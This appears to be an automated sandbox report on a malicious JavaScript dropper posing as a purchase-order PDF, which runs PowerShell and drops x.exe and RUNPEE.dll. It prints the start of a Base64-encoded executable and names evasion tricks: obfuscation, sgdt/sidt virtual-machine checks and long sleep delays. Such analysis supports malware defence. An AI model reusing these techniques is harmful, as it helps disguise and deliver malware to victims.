Anti Malware Scan Interface: FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAD

Potential obfuscated javascript found

Source: PO-2513203-PDF.js

Initial file: High amount of function use 6

Source: x.exe.8.dr

Static PE information: 0xB41A313D [Thu Oct 1 09:37:01 2065 UTC]

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 10_2_052627B4 push esp; ret	10_2_052627B7
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 10_2_05262C97 push esi; iretd	10_2_05262CEC
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 10_2_00E99D22 push esp; ret	10_2_00E99D23
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 11_2_0684890D push es; ret	11_2_06848920

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\x.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\x.exe	File created: C:\Users\user\AppData\Local\Temp\RUNPEE.dll			Jump to dropped file

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: E90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 2C00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 4C00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 5280000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 6280000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 63B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 73B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: EC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 2BF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 1260000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 11_2_00EC25B0 sgdt fword ptr [eax]

11_2_00EC25B0

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 11_2_00EC25B0 sidt fword ptr [ebp+edx*2-19h]

11_2_00EC25B0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 599124	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 598797	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 597593	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 597375	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 597265	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 597046	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 596828	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 596718	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 596609	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 596500	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 596390	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 596172	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 596062	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 595953	Jump to behavior
